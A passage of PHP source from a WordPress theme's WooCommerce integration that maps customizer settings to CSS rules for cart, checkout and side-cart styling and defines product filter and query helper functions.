			'--pcl_6_l_cl'                 => 'penci_woo_product_item_style6_link_color',
			'--pcl_6_lhv_cl'               => 'penci_woo_product_item_style6_link_hover_color',
			'--pcl_6_tt_cl'                => 'penci_woo_product_item_style6_title_color',
			'--pcl_6_txt_cl'               => 'penci_woo_product_item_style6_text_color',
			'--pcl_6_bg_cl'                => 'penci_woo_product_item_style6_bg',

			// style4
			'--pcl_4_btn_txt_cl'           => 'penci_woo_product_item_style4_atc_txt_color',
			'--pcl_4_btn_txt_hv_cl'        => 'penci_woo_product_item_style4_atc_hv_txt_color',
			'--pcl_4_btn_bg_cl'            => 'penci_woo_product_item_style4_atc_bg_color',
			'--pcl_4_btn_bg_hv_cl'         => 'penci_woo_product_item_style4_atc_hv_bg_color',

			// style5
			'--pcl_5_btn_txt_cl'           => 'penci_woo_product_item_style5_atc_text_color',
			'--pcl_5_btn_txt_hv_cl'        => 'penci_woo_product_item_style5_atc_hv_text_color',
			'--pcl_5_btn_bd_cl'            => 'penci_woo_product_item_style5_atc_border_color',
			'--pcl_5_btn_bd_hv_cl'         => 'penci_woo_product_item_style5_atc_hv_border_color',
			'--pcl_5_btn_bg_cl'            => 'penci_woo_product_item_style5_atc_bg_color',
			'--pcl_5_btn_bg_hv_cl'         => 'penci_woo_product_item_style5_atc_hv_bg_color',


			// button group
			'--pcl_btn_group_bg_color'     => 'penci_woo_product_loop_button_bg_color',
			'--pcl_btn_group_bg_hv_color'  => 'penci_woo_product_loop_button_bg_hover_color',
			'--pcl_btn_group_txt_color'    => 'penci_woo_product_loop_button_color',
			'--pcl_btn_group_txt_hv_color' => 'penci_woo_product_loop_button_hover_color',


			// product category loop
			'--pcl_l_cat_fs'               => 'penci_woo_loop_meta_font_size',
			'--pcl_l_cat_fs_m'             => 'penci_woo_loop_meta_font_size_m',
			'--pcl_l_cat_tt_fs'            => 'penci_woo_loop_cat_font_size',
			'--pcl_l_cat_tt_fs_m'          => 'penci_woo_loop_cat_font_size_m',
			'--pcl_l_cat_cl'               => 'penci_woo_section_product_cat_loop_meta_color',
			'--pcl_l_cat_tt_cl'            => 'penci_woo_section_product_cat_loop_title_color',
			'--pcl_l_cat_o_cl'             => 'penci_woo_section_product_cat_loop_overlay_color',

			// theme settings
			'--pc-sidebar-w'               => 'penci_sidebar_width',
			'--pc-sf-sum-w'                => 'penci_single_product_summary_width',

			// widget extra
			'--pc-w-mh'                    => 'penci_woo_widgets_scroll_height',
			'--pc-w-mhm'                   => 'penci_woo_widgets_scroll_m_height',
		);

		$cart_page_props = array(
			'penci_woo_cart_breadcrumb_color'                => array(
				'color' => '.woocommerce .penci_woo_pages_breadcrumbs ul li.active span, .woocommerce .penci_woo_pages_breadcrumbs ul li.active a',
			),
			'penci_woo_cart_breadcrumb_active_color'         => array(
				'color' => '.woocommerce .penci_woo_pages_breadcrumbs ul li span,.woocommerce .penci_woo_pages_breadcrumbs ul li a',
			),
			'penci_woo_cart_tablehead_color'                 => array(
				'color' => '.woocommerce table.shop_table th',
			),
			'penci_woo_cart_table_border_color'              => array(
				'border-color' => '.woocommerce table.shop_table th,.woocommerce table.shop_table td,.post-entry td, .post-entry th',
			),
			'penci_woo_cart_table_txt_color'                 => array(),
			'penci_woo_cart_table_product_title_color'       => array(
				'color' => '.woocommerce table.shop_table td.product-name a',
			),
			'penci_woo_cart_table_product_title_hover_color' => array(
				'color' => '.woocommerce table.shop_table td.product-name a:hover',
			),
			'penci_woo_cart_table_product_price_color'       => array(
				'color' => '.woocommerce table.shop_table td.product-subtotal span',
			),
			'penci_woo_cart_btn_bg_color'                    => array(
				'background-color' => '.woocommerce-cart .wc-proceed-to-checkout a',
			),
			'penci_woo_cart_btn_txt_color'                   => array(
				'color' => '.woocommerce-cart .wc-proceed-to-checkout a',
			),
			'penci_woo_cart_btn_hover_bg_color'              => array(
				'background-color' => '.woocommerce-cart .wc-proceed-to-checkout a:hover',
			),
			'penci_woo_cart_btn_hover_txt_color'             => array(
				'color' => '.woocommerce-cart .wc-proceed-to-checkout a:hover',
			),
			'penci_woo_cart_sbtn_bg_color'                   => array(
				'background-color' => '.woocommerce .woocommerce-cart-form .cart .button[name="apply_coupon"], .woocommerce .woocommerce-cart-form .cart button.button, .woocommerce .woocommerce-cart-form .cart button.button:disabled, .woocommerce .woocommerce-cart-form .cart button.button:disabled[disabled]',
			),
			'penci_woo_cart_sbtn_txt_color'                  => array(
				'color' => '.woocommerce .woocommerce-cart-form .cart .button[name="apply_coupon"], .woocommerce .woocommerce-cart-form .cart button.button, .woocommerce .woocommerce-cart-form .cart button.button:disabled, .woocommerce .woocommerce-cart-form .cart button.button:disabled[disabled]',
			),
			'penci_woo_cart_sbtn_hover_bg_color'             => array(
				'background-color' => '.woocommerce .woocommerce-cart-form .cart .button[name="apply_coupon"]:hover, .woocommerce .woocommerce-cart-form .cart button.button:hover, .woocommerce .woocommerce-cart-form .cart button.button:disabled:hover, .woocommerce .woocommerce-cart-form .cart button.button:disabled[disabled]:hover',
			),
			'penci_woo_cart_sbtn_hover_txt_color'            => array(
				'color' => '.woocommerce .woocommerce-cart-form .cart .button[name="apply_coupon"]:hover, .woocommerce .woocommerce-cart-form .cart button.button:hover, .woocommerce .woocommerce-cart-form .cart button.button:disabled:hover, .woocommerce .woocommerce-cart-form .cart button.button:disabled[disabled]:hover',
			),
			'penci_woo_cart_del_btn_color'                   => array(
				'color' => '.woocommerce table.shop_table a.remove',
			),
			'penci_woo_cart_del_btn_hv_color'                => array(
				'color' => '.woocommerce table.shop_table a.remove:hover',
			),
		);

		$checkout_page_prop = array(
			'penci_woo_checkout_breadcrumb_color'         => array(
				'color' => '.woocommerce .penci_woo_pages_breadcrumbs ul li span, .woocommerce .penci_woo_pages_breadcrumbs ul li a',
			),
			'penci_woo_checkout_breadcrumb_active_color'  => array(
				'color' => '.woocommerce .penci_woo_pages_breadcrumbs ul li.active span, .woocommerce .penci_woo_pages_breadcrumbs ul li.active a',
			),
			'penci_woo_checkout_form_label_color'         => array(
				'color' => 'body.woocommerce-checkout form.checkout.woocommerce-checkout label',
			),
			'penci_woo_checkout_form_border_color'        => array(
				'border-color' => '.woocommerce form .form-row .input-text, .woocommerce-page form .form-row .input-text,.select2-dropdown, .select2-container--default .select2-selection--single',
			),
			'penci_woo_checkout_form_border_focus_color'  => array(
				'border-color' => '.woocommerce form .form-row .input-text:focus, .woocommerce-page form .form-row .input-text:focus',
			),
			'penci_woo_checkout_form_bg_color'            => array(
				'background-color' => '.woocommerce form .form-row .input-text, .woocommerce-page form .form-row .input-text',
			),
			'penci_woo_checkout_form_bg_focus_color'      => array(
				'background-color' => '.woocommerce form .form-row .input-text:focus, .woocommerce-page form .form-row .input-text:focus',
			),
			'penci_woo_checkout_order_bg_color'           => array(
				'background-color' => 'body.woocommerce-checkout form.checkout.woocommerce-checkout .woocommerce-checkout-review-order-inner',
			),
			'penci_woo_checkout_order_table_bg_color'     => array(
				'background-color' => 'body.woocommerce-checkout form.checkout.woocommerce-checkout .woocommerce-checkout-review-order-inner table, body.woocommerce-checkout form.checkout.woocommerce-checkout .woocommerce-checkout-review-order-inner .woocommerce-checkout-payment',
			),
			'penci_woo_checkout_order_table_color'        => array(
				'color' => 'body.woocommerce-checkout form.checkout.woocommerce-checkout .woocommerce-checkout-review-order-inner table, body.woocommerce-checkout form.checkout.woocommerce-checkout .woocommerce-checkout-review-order-inner .woocommerce-checkout-payment',
			),
			'penci_woo_checkout_order_head_color'         => array(
				'color' => '.woocommerce table.shop_table th',
			),
			'penci_woo_checkout_order_accent_color'       => array(
				'color' => '.woocommerce form.checkout table.shop_table .order-total .amount',
			),
			'penci_woo_checkout_order_table_border_color' => array(
				'border-color' => '.woocommerce-checkout #payment ul.payment_methods,.woocommerce table.shop_table th,.woocommerce table.shop_table tr',
			),
			'penci_woo_checkout_btn_bg_color'             => array(
				'background-color' => '.woocommerce button.button.alt',
			),
			'penci_woo_checkout_btn_txt_color'            => array(
				'color' => '.woocommerce button.button.alt,body.woocommerce-checkout form.checkout.woocommerce-checkout button',
			),
			'penci_woo_checkout_btn_hover_bg_color'       => array(
				'background-color' => '.woocommerce button.button.alt:hover,body.woocommerce-checkout form.checkout.woocommerce-checkout button:hover',
			),
			'penci_woo_checkout_btn_hover_txt_color'      => array(
				'color' => '.woocommerce button.button.alt:hover,body.woocommerce-checkout form.checkout.woocommerce-checkout button:hover',
			),
			'penci_woo_checkout_review_order_bg_color'    => array(
				'background-color' => 'body.woocommerce-checkout form.checkout.woocommerce-checkout .woocommerce-checkout-review-order-inner',
			)
		);

		$completed_page_prop = array(
			'penci_woo_checkout_txt_color'             => array(
				'color' => '.woocommerce-order',
			),
			'penci_woo_checkout_head_color'            => array(
				'color' => '.post-entry h2,.woocommerce ul.order_details li strong,.woocommerce table.shop_table th,.woocommerce table.shop_table td.product-name a',
			),
			'penci_woo_checkout_border_color'          => array(
				'border-color' => '.woocommerce table.shop_table tfoot td,.woocommerce table.shop_table tfoot th, body.woocommerce-order-received .woocommerce-order section,.woocommerce table.shop_table th,.woocommerce table.shop_table td',
			),
			'penci_woo_checkout_success_icon_color'    => array(
				'color' => 'body.woocommerce-order-received .woocommerce-order .woocommerce-notice:before',
			),
			'penci_woo_checkout_success_icon_bg_color' => array(
				'background-color' => 'body.woocommerce-order-received .woocommerce-order .woocommerce-notice:before',
			),
		);

		$sidecar_props = array(
			'penci_woo_section_sidebarcart_color'          => array(
				'color' => '.sidebar-cart-container',
			),
			'penci_woo_sidecart_bg_color'                  => array(
				'background-color' => '.penci-sidebar-cart',
			),
			'penci_woo_sidecart_heading_bg_color'          => array(
				'background-color' => '.penci-sidebar-cart .sidecart-heading',
			),
			'penci_woo_sidecart_heading_txt_color'         => array(
				'color' => '.penci-sidebar-cart .sidecart-heading h3',
			),
			'penci_woo_sidecart_product_title_color'       => array(
				'color' => '.woocommerce .sidebar-cart-container ul.cart_list li a, .woocommerce .sidebar-cart-container ul.product_list_widget li a',
			),
			'penci_woo_sidecart_product_title_hover_color' => array(
				'color' => '.woocommerce .sidebar-cart-container ul.cart_list li a:hover, .woocommerce .sidebar-cart-container ul.product_list_widget li a:hover',
			),
			'penci_woo_sidecart_border_color'              => array(
				'border-color' => '.woocommerce .sidebar-cart-container ul.cart_list li, .woocommerce .sidebar-cart-container ul.product_list_widget li',
			),
			'penci_woo_sidecart_price_color'               => array(
				'color' => '.woocommerce .sidebar-cart-container ul.cart_list li .amount, .woocommerce .sidebar-cart-container ul.product_list_widget li .amount',
			),
			'penci_woo_sidecart_pitem_bg_color'            => array(
				'background-color' => '.penci-sidebar-cart .sidecart-content ul li',
			),
			'penci_woo_sidecart_pitem_bg_hover_color'      => array(
				'background-color' => '.penci-sidebar-cart .sidecart-content ul li:hover',
			),
			'penci_woo_sidecart_pitem_bg_text_color'       => array(
				'color' => '.penci-sidebar-cart .sidecart-content ul li:hover,.woocommerce .sidecart-content ul.cart_list li a, .woocommerce .sidecart-content ul.product_list_widget li a',
			),
			'penci_woo_sidecart_accent_color'              => array(
				'color' => '.penci-sidebar-cart .woocommerce-mini-cart__total.total .amount',
			),
			'penci_woo_sidecart_heading_color'             => array(
				'color' => '.penci-sidebar-cart strong',
			),
			'penci_woo_sidecart_btn_color'                 => array(
				'background-color' => '.penci-sidebar-cart .woocommerce-mini-cart__buttons.buttons .button',
			),
			'penci_woo_sidecart_btn_text_color'            => array(
				'color' => '.penci-sidebar-cart .woocommerce-mini-cart__buttons.buttons .button',
			),
			'penci_woo_sidecart_btn_hover_color'           => array(
				'background-color' => '.penci-sidebar-cart .woocommerce-mini-cart__buttons.buttons .button:hover',
			),
			'penci_woo_sidecart_btn_text_hover_color'      => array(
				'color' => '.penci-sidebar-cart .woocommerce-mini-cart__buttons.buttons .button:hover',
			),
			'penci_woo_sidecart_footer_bgcolor'            => array(
				'background-color' => '.penci-sidebar-cart .woocommerce-mini-cart__total.total,.penci-sidebar-cart .woocommerce-mini-cart__buttons.buttons',
			),
			'penci_woo_notice_bg_color'                    => array(
				'background-color' => 'p.demo_store, .woocommerce-store-notice'
			),
			'penci_woo_notice_txt_color'                   => array(
				'color' => 'p.demo_store, .woocommerce-store-notice,p.demo_store a, .woocommerce-store-notice a'
			),
		);

		$extra_font_size = array(
			'pencidesign_woo_fontsize_pages_nav_font_size'          => array(
				'font-size' => '.woocommerce .penci_woo_pages_breadcrumbs ul li span, .woocommerce .penci_woo_pages_breadcrumbs ul li a',
			),
			'pencidesign_woo_fontsize_pages_table_th'               => array(
				'font-size' => '.woocommerce table.shop_table th',
			),
			'pencidesign_woo_fontsize_pages_table_product_title'    => array(
				'font-size' => '.woocommerce table.shop_table td.product-name a',
			),
			'pencidesign_woo_fontsize_pages_table_product_price'    => array(
				'font-size' => '.woocommerce table.shop_table td.product-price span, .woocommerce table.shop_table td.product-subtotal span',
			),
			'pencidesign_woo_fontsize_pages_table_product_subtotal' => array(
				'font-size' => '.woocommerce table.shop_table td.product-subtotal span',
			),
			'pencidesign_woo_fontsize_pages_table_product_quantity' => array(
				'font-size' => '.woocommerce .woocommerce-cart-form .quantity .qty',
			),
			'pencidesign_woo_fontsize_pages_cart_total_h2'          => array(
				'font-size' => '.woocommerce .cart-collaterals .cart_totals h2, .woocommerce-page .cart-collaterals .cart_totals h2',
			),
			'pencidesign_woo_fontsize_pages_button'                 => array(
				'font-size' => '.woocommerce .woocommerce-cart-form .cart .button[name="apply_coupon"], .woocommerce .woocommerce-cart-form .cart button.button, .woocommerce .woocommerce-cart-form .cart button.button:disabled, .woocommerce .woocommerce-cart-form .cart button.button:disabled[disabled],.woocommerce #respond .wc-proceed-to-checkout input#submit.alt, .woocommerce .wc-proceed-to-checkout a.button.alt, .woocommerce .wc-proceed-to-checkout button.button.alt, .woocommerce .wc-proceed-to-checkout input.button.alt',
			),
			'pencidesign_woo_fontsize_checkout_form_label'          => array(
				'font-size' => 'body.woocommerce-checkout form.checkout.woocommerce-checkout label',
			),
			'pencidesign_woo_fontsize_checkout_form_input'          => array(
				'font-size' => '.woocommerce form .form-row input.input-text, .woocommerce form .form-row textarea, .woocommerce form .form-row select',
			),
			'pencidesign_woo_fontsize_checkout_order_heading'       => array(
				'font-size' => '.woocommerce form.checkout h3',
			),
			'pencidesign_woo_fontsize_checkout_order_button'        => array(
				'font-size' => '.woocommerce button.button.alt, body.woocommerce-checkout form.checkout.woocommerce-checkout button',
			),
		);

		$extra_font_size_m = array(
			'pencidesign_woo_fontsize_pages_nav_font_size_m'          => array(
				'font-size' => '.woocommerce .penci_woo_pages_breadcrumbs ul li span, .woocommerce .penci_woo_pages_breadcrumbs ul li a',
			),
			'pencidesign_woo_fontsize_pages_table_th_m'               => array(
				'font-size' => '.woocommerce table.shop_table th',
			),
			'pencidesign_woo_fontsize_pages_table_product_title_m'    => array(
				'font-size' => '.woocommerce table.shop_table td.product-name a',
			),
			'pencidesign_woo_fontsize_pages_table_product_price_m'    => array(
				'font-size' => '.woocommerce table.shop_table td.product-price span, .woocommerce table.shop_table td.product-subtotal span',
			),
			'pencidesign_woo_fontsize_pages_table_product_subtotal_m' => array(
				'font-size' => '.woocommerce table.shop_table td.product-subtotal span',
			),
			'pencidesign_woo_fontsize_pages_table_product_quantity_m' => array(
				'font-size' => '.woocommerce .woocommerce-cart-form .quantity .qty',
			),
			'pencidesign_woo_fontsize_pages_cart_total_h2_m'          => array(
				'font-size' => '.woocommerce .cart-collaterals .cart_totals h2, .woocommerce-page .cart-collaterals .cart_totals h2',
			),
			'pencidesign_woo_fontsize_pages_button_m'                 => array(
				'font-size' => '.woocommerce .woocommerce-cart-form .cart .button[name="apply_coupon"], .woocommerce .woocommerce-cart-form .cart button.button, .woocommerce .woocommerce-cart-form .cart button.button:disabled, .woocommerce .woocommerce-cart-form .cart button.button:disabled[disabled],.woocommerce #respond .wc-proceed-to-checkout input#submit.alt, .woocommerce .wc-proceed-to-checkout a.button.alt, .woocommerce .wc-proceed-to-checkout button.button.alt, .woocommerce .wc-proceed-to-checkout input.button.alt',
			),
			'pencidesign_woo_fontsize_checkout_form_label_m'          => array(
				'font-size' => 'body.woocommerce-checkout form.checkout.woocommerce-checkout label',
			),
			'pencidesign_woo_fontsize_checkout_form_input_m'          => array(
				'font-size' => '.woocommerce form .form-row input.input-text, .woocommerce form .form-row textarea, .woocommerce form .form-row select',
			),
			'pencidesign_woo_fontsize_checkout_order_heading_m'       => array(
				'font-size' => '.woocommerce form.checkout h3',
			),
			'pencidesign_woo_fontsize_checkout_order_button_m'        => array(
				'font-size' => '.woocommerce button.button.alt, body.woocommerce-checkout form.checkout.woocommerce-checkout button',
			),
		);

		$custom_product_color = array(
			'penci_woo_product_loop_title_color_reup'      => array(
				'color' => '  .upsells.products .woocommerce-loop-product__title.penci-loop-title a,
                              .upsells.products .penci-product-loop-title h3 a,
                              .upsells.products .products.product-style-7 .price,
                              .upsells.products .products.product-style-7 .penci-product-loop-title a,
                              .related.products .woocommerce-loop-product__title.penci-loop-title a,
                              .related.products .penci-product-loop-title h3 a,
                              .related.products .products.product-style-7 .price,
                              .related.products .products.product-style-7 .penci-product-loop-title a',
			),
			'penci_woo_product_loop_price_color_reup'      => array(
				'color' => '  .woocommerce .upsells.products div.product p.price ins,
                              .woocommerce .upsells.products div.product span.price ins,
                              .woocommerce .upsells.products div.product p.price,
                              .woocommerce .upsells.products div.product span.price,
                              .woocommerce .related.products div.product p.price ins,
                              .woocommerce .related.products div.product span.price ins,
                              .woocommerce .related.products div.product p.price,
                              .woocommerce .related.products div.product span.price',
			),
			'penci_woo_product_loop_cat_color_reup'        => array(
				'color' => '  .upsells.products .products .penci-soledad-product .penci-product-loop-title .penci-product-cats a,
                              .related.products .products .penci-soledad-product .penci-product-loop-title .penci-product-cats a',
			),
			'penci_woo_product_loop_cat_hover_color_reup'  => array(
				'color' => '  .upsells.products .products .penci-soledad-product .penci-product-loop-title .penci-product-cats a:hover,
                              .related.products .products .penci-soledad-product .penci-product-loop-title .penci-product-cats a:hover',
			),
			'penci_woo_product_loop_title_color_cross'     => array(
				'color' => ' .woocommerce .cross-sells .woocommerce-loop-product__title.penci-loop-title a,
                             .woocommerce .cross-sells .penci-product-loop-title h3 a,
                             .woocommerce .cross-sells .products.product-style-7 .price,
                             .woocommerce .cross-sells .products.product-style-7 .penci-product-loop-title a',
			),
			'penci_woo_product_loop_price_color_cross'     => array(
				'color' => ' .woocommerce .cross-sells div.product p.price ins,
                             .woocommerce .cross-sells div.product span.price ins,
                             .woocommerce .cross-sells div.product p.price,
                             .woocommerce .cross-sells div.product span.price',
			),
			'penci_woo_product_loop_cat_color_cross'       => array(
				'color' => ' .cross-sells .products .penci-soledad-product .penci-product-loop-title .penci-product-cats a'
			),
			'penci_woo_product_loop_cat_hover_color_cross' => array(
				'color' => ' .cross-sells .products .penci-soledad-product .penci-product-loop-title .penci-product-cats a:hover'
			),
		);

		$font_family_settings = array(
			'penci_font_for_menu',
		);

		$woocommerce_default_color = array(
			'penci_woo_product_loop_progress_active_bg_color',
			'penci_product_page_general_link_hover_color',
			'penci_product_page_button_swatches_border_hover_color',
			'penci_product_page_button_swatches_bg_color',
			'penci_woo_page_button_bg_color',
			'penci_woo_page_button_alt_bg_hover_color',
		);

		$penci_default_body_font_size = array(
			'--pcs_fsp_general',
			'--pcs_fsp_tab_tt',
		);

		penci_woo_customizer_custom_css_rules( $product_customize_settings, $woocommerce_default_color, $font_family_settings, $penci_default_body_font_size );

		$cart_css           = penci_woo_customizer_custom_css_prop( $cart_page_props );
		$checkout_css       = penci_woo_customizer_custom_css_prop( $checkout_page_prop );
		$completed_page_css = penci_woo_customizer_custom_css_prop( $completed_page_prop );

		echo penci_woo_customizer_custom_css_prop( $sidecar_props );
		echo penci_woo_customizer_custom_css_prop( $extra_font_size );
		echo penci_woo_customizer_custom_css_prop( $extra_font_size_m );
		echo penci_woo_customizer_custom_css_prop( $custom_product_color );

		if ( is_cart() && $cart_css ) {
			echo $cart_css;
		}

		if ( is_checkout() && $checkout_css ) {
			echo $checkout_css;
		}

		if ( is_checkout() && ! empty( is_wc_endpoint_url( 'order-received' ) ) && $completed_page_css ) {
			echo $completed_page_css;
		}

		// Sidebar filter style.
		$filterwidget_margin              = get_theme_mod( 'pencidesign_woo_filter_widget_margin' );
		$filterwidget_heading_lowcase     = get_theme_mod( 'pencidesign_woo_filter_widget_heading_lowcase' );
		$filterwidget_heading_size        = get_theme_mod( 'pencidesign_woo_filter_widget_heading_size' );
		$filterwidget_heading_image_9     = get_theme_mod( 'pencidesign_woo_filter_widget_heading_image_9' );
		$filterwidget_heading9_repeat     = get_theme_mod( 'pencidesign_woo_filter_widget_heading9_repeat' );
		$filterwidget_remove_border_outer = get_theme_mod( 'pencidesign_woo_filter_widget_remove_border_outer' );
		$filterwidget_remove_arrow_down   = get_theme_mod( 'pencidesign_woo_filter_widget_remove_arrow_down' );

		if ( $filterwidget_margin ) {
			echo '.penci-sidebar-filter .penci-sidebar-content .widget{ margin-bottom: ' . esc_attr( $filterwidget_margin ) . 'px; }';
			echo '.penci-sidebar-filter-widgets2{ margin-top: ' . esc_attr( $filterwidget_margin ) . 'px; }';
		}

		if ( $filterwidget_heading_lowcase ) {
			echo '.penci-sidebar-filter .penci-sidebar-content .penci-border-arrow .inner-arrow{ text-transform: none; }';
		}

		if ( $filterwidget_heading_size ) {
			echo '.penci-sidebar-filter .penci-sidebar-content .penci-border-arrow .inner-arrow { font-size: ' . $filterwidget_heading_size . 'px; }';
		}
		if ( $filterwidget_heading_image_9 ) {
			echo '.penci-sidebar-filter .penci-sidebar-content.style-8 .penci-border-arrow .inner-arrow { background-image: url(' . $filterwidget_heading_image_9 . '); }';
		}
		if ( $filterwidget_heading9_repeat ) {
			echo '.penci-sidebar-filter .penci-sidebar-content.style-8 .penci-border-arrow .inner-arrow{ background-repeat: ' . $filterwidget_heading9_repeat . '; background-size: auto; }';
		}
		if ( $filterwidget_remove_border_outer ) {
			echo '.penci-sidebar-filter .penci-sidebar-content .penci-border-arrow:after { content: none; display: none; }
		.penci-sidebar-filter .penci-sidebar-content .widget-title{ margin-left: 0; margin-right: 0; margin-top: 0; }
		.penci-sidebar-filter .penci-sidebar-content .penci-border-arrow:before{ bottom: -6px; border-width: 6px; margin-left: -6px; }';
		}

		if ( $filterwidget_remove_arrow_down ) {
			echo '.penci-sidebar-filter .penci-sidebar-content .penci-border-arrow:before, .penci-sidebar-content.style-2 .penci-border-arrow:after { content: none; display: none; }';
		}

		// Loading Icon
		$circle_loading_cl1 = get_theme_mod( 'penci_woo_loading_cl1' );
		$circle_loading_cl2 = get_theme_mod( 'penci_woo_loading_cl2' );

		if ( $circle_loading_cl1 ) {
			echo '.woocommerce a.button.loading:before, .woocommerce button.button.loading:before, .woocommerce input.button.loading:before, .woocommerce #respond input#submit.loading:before, .woocommerce a.button.loading:after, .woocommerce button.button.loading:after, .woocommerce input.button.loading:after, .woocommerce #respond input#submit.loading:after{ border-right-color: ' . $circle_loading_cl1 . '; border-bottom-color: ' . $circle_loading_cl1 . '; }';
		}

		if ( $circle_loading_cl2 ) {
			echo '.woocommerce a.button.loading:before, .woocommerce button.button.loading:before, .woocommerce input.button.loading:before, .woocommerce #respond input#submit.loading:before, .woocommerce a.button.loading:after, .woocommerce button.button.loading:after, .woocommerce input.button.loading:after, .woocommerce #respond input#submit.loading:after{ border-right-color: ' . $circle_loading_cl2 . '; border-bottom-color: ' . $circle_loading_cl2 . '; }';
		}

		$product_cat_overlay = get_theme_mod( 'penci_woo_section_product_cat_loop_overlay_color' );
		if ( $product_cat_overlay ) {
			echo 'body{--pcl_l_cat_o_cl_rgba: linear-gradient(0deg, ' . penci_woo_hex2rgb( $product_cat_overlay, 1 ) . ' 0%, ' . penci_woo_hex2rgb( $product_cat_overlay, 0.5 ) . ' 50%, rgba(255,255,255,0) 100%);}';
		}
	}
}


if ( ! function_exists( 'penci_is_layered_nav_active' ) ) {
	add_filter( 'woocommerce_is_layered_nav_active', 'penci_is_layered_nav_active' );
	function penci_is_layered_nav_active() {
		return is_active_widget( false, false, 'soledad-product-filter', true );
	}
}

if ( ! function_exists( 'penci_is_layered_price_active' ) ) {
	add_filter( 'woocommerce_is_price_filter_active', 'penci_is_layered_price_active' );
	function penci_is_layered_price_active() {
		$result = is_active_widget( false, false, 'soledad-price-filter', true );
		if ( ! $result ) {
			$result = apply_filters( 'penci_use_custom_price_widget', true );
		}

		return $result;
	}
}

if ( ! function_exists( 'penci_get_filtered_price_new' ) ) {
	function penci_get_filtered_price_new() {
		global $wpdb;

		if ( ! is_shop() && ! is_product_taxonomy() ) {
			$sql = "
			SELECT min( FLOOR( min_price ) ) as min_price, MAX( CEILING( max_price ) ) as max_price
			FROM {$wpdb->wc_product_meta_lookup}";

			return $wpdb->get_row( $sql );
		}

		$args       = WC()->query->get_main_query()->query_vars;
		$tax_query  = isset( $args['tax_query'] ) ? $args['tax_query'] : array();
		$meta_query = isset( $args['meta_query'] ) ? $args['meta_query'] : array();

		if ( ! is_post_type_archive( 'product' ) && ! empty( $args['taxonomy'] ) && ! empty( $args['term'] ) ) {
			$tax_query[] = array(
				'taxonomy' => $args['taxonomy'],
				'terms'    => array( $args['term'] ),
				'field'    => 'slug',
			);
		}

		foreach ( $meta_query + $tax_query as $key => $query ) {
			if ( ! empty( $query['price_filter'] ) || ! empty( $query['rating_filter'] ) ) {
				unset( $meta_query[ $key ] );
			}
		}

		$meta_query = new WP_Meta_Query( $meta_query );
		$tax_query  = new WP_Tax_Query( $tax_query );
		$search     = WC_Query::get_main_search_query_sql();

		$meta_query_sql   = $meta_query->get_sql( 'post', $wpdb->posts, 'ID' );
		$tax_query_sql    = $tax_query->get_sql( $wpdb->posts, 'ID' );
		$search_query_sql = $search ? ' AND ' . $search : '';

		$sql = "
			SELECT min( min_price ) as min_price, MAX( max_price ) as max_price
			FROM {$wpdb->wc_product_meta_lookup}
			WHERE product_id IN (
				SELECT ID FROM {$wpdb->posts}
				" . $tax_query_sql['join'] . $meta_query_sql['join'] . "
				WHERE {$wpdb->posts}.post_type IN ('" . implode( "','", array_map( 'esc_sql', apply_filters( 'woocommerce_price_filter_post_type', array( 'product' ) ) ) ) . "')
				AND {$wpdb->posts}.post_status = 'publish'
				" . $tax_query_sql['where'] . $meta_query_sql['where'] . $search_query_sql . '
			)';

		$sql = apply_filters( 'woocommerce_price_filter_sql', $sql, $meta_query_sql, $tax_query_sql );

		return $wpdb->get_row( $sql ); // WPCS: unprepared SQL ok.
	}
}

if ( ! function_exists( 'penci_sidecart_nav' ) ) {
	add_action( 'wp_footer', 'penci_sidecart_nav', 10 );
	function penci_sidecart_nav() {
		if ( 'dropdown' != get_theme_mod( 'penci_woo_cart_style' ) ) {
			wc_get_template_part( 'global/side-cart' );
		}
	}
}

if ( ! function_exists( 'penci_get_product_ids_on_sale' ) ) {
	function penci_get_product_ids_on_sale() {
		$data_store          = WC_Data_Store::load( 'product' );
		$on_sale_products    = $data_store->get_on_sale_products();
		$product_ids_on_sale = wp_parse_id_list( array_merge( wp_list_pluck( $on_sale_products, 'id' ), array_diff( wp_list_pluck( $on_sale_products, 'parent_id' ), array( 0 ) ) ) );

		return $product_ids_on_sale;
	}
}

if ( ! function_exists( 'penci_get_product_ids_on_viewed' ) ) {
	function penci_get_product_ids_on_viewed() {
		return isset( $_COOKIE['penci_product_viewed_ids'] ) && $_COOKIE['penci_product_viewed_ids'] ? json_decode( $_COOKIE['penci_product_viewed_ids'], true ) : [];
	}
}

if ( ! function_exists( 'penci_elementor_products_template' ) ) {
	function penci_elementor_products_template( $settings, $preloader = '' ) {
		$classes  = array();
		$settings = wp_parse_args( $settings, penci_custom_product_query_default_args() );

		$paged = get_query_var( 'paged' ) ? get_query_var( 'paged' ) : 1;
		if ( isset( $_GET['product-page'] ) ) { // phpcs:ignore
			$paged = wc_clean( wp_unslash( $_GET['product-page'] ) ); // phpcs:ignore
		}

		// Query settings.
		$ordering_args = WC()->query->get_catalog_ordering_args( $settings['orderby'], $settings['order'] );

		$query_args = array(
			'post_type'           => 'product',
			'post_status'         => 'publish',
			'ignore_sticky_posts' => 1,
			'paged'               => $paged,
			'orderby'             => $ordering_args['orderby'],
			'order'               => $ordering_args['order'],
			'posts_per_page'      => $settings['items_per_page'],
			'meta_query'          => WC()->query->get_meta_query(), // phpcs:ignore
			'tax_query'           => WC()->query->get_tax_query(), // phpcs:ignore
		);

		if ( 'new' === $settings['post_type'] ) {
			$new_label = get_theme_mod( 'penci_woo_label_new_product', true );
			$days      = get_theme_mod( 'penci_woo_label_new_product_period', 7 );
			if ( $new_label && $days ) {
				$query_args['date_query'] = array(
					'after' => date( 'Y-m-d', strtotime( '-' . $days . ' days' ) ),
				);
			} else {
				$query_args['meta_query'][] = array(
					array(
						'key'     => 'penci_pmeta_product_extra_options',
						'value'   => '"permanent_new_label";s:1:"1"',
						'compare' => 'LIKE',
					),
				);
			}
		}

		if ( isset( $settings['search_query'] ) && ! empty( $settings['search_query'] ) ) {
			$query_args['s'] = esc_attr( $settings['search_query'] );
		}

		if ( $ordering_args['meta_key'] ) {
			$query_args['meta_key'] = $ordering_args['meta_key']; // phpcs:ignore
		}
		if ( $settings['meta_key'] ) {
			$query_args['meta_key'] = $settings['meta_key']; // phpcs:ignore
		}
		if ( 'ids' === $settings['post_type'] && $settings['include'] ) {
			$query_args['post__in'] = $settings['include'];
		}
		if ( $settings['exclude'] ) {
			$query_args['post__not_in'] = $settings['exclude'];
		}
		if ( $settings['taxonomies'] ) {
			$taxonomy_names = get_object_taxonomies( 'product' );
			$terms          = get_terms( $taxonomy_names, array(
				'orderby'    => 'name',
				'include'    => $settings['taxonomies'],
				'hide_empty' => false,
			) );

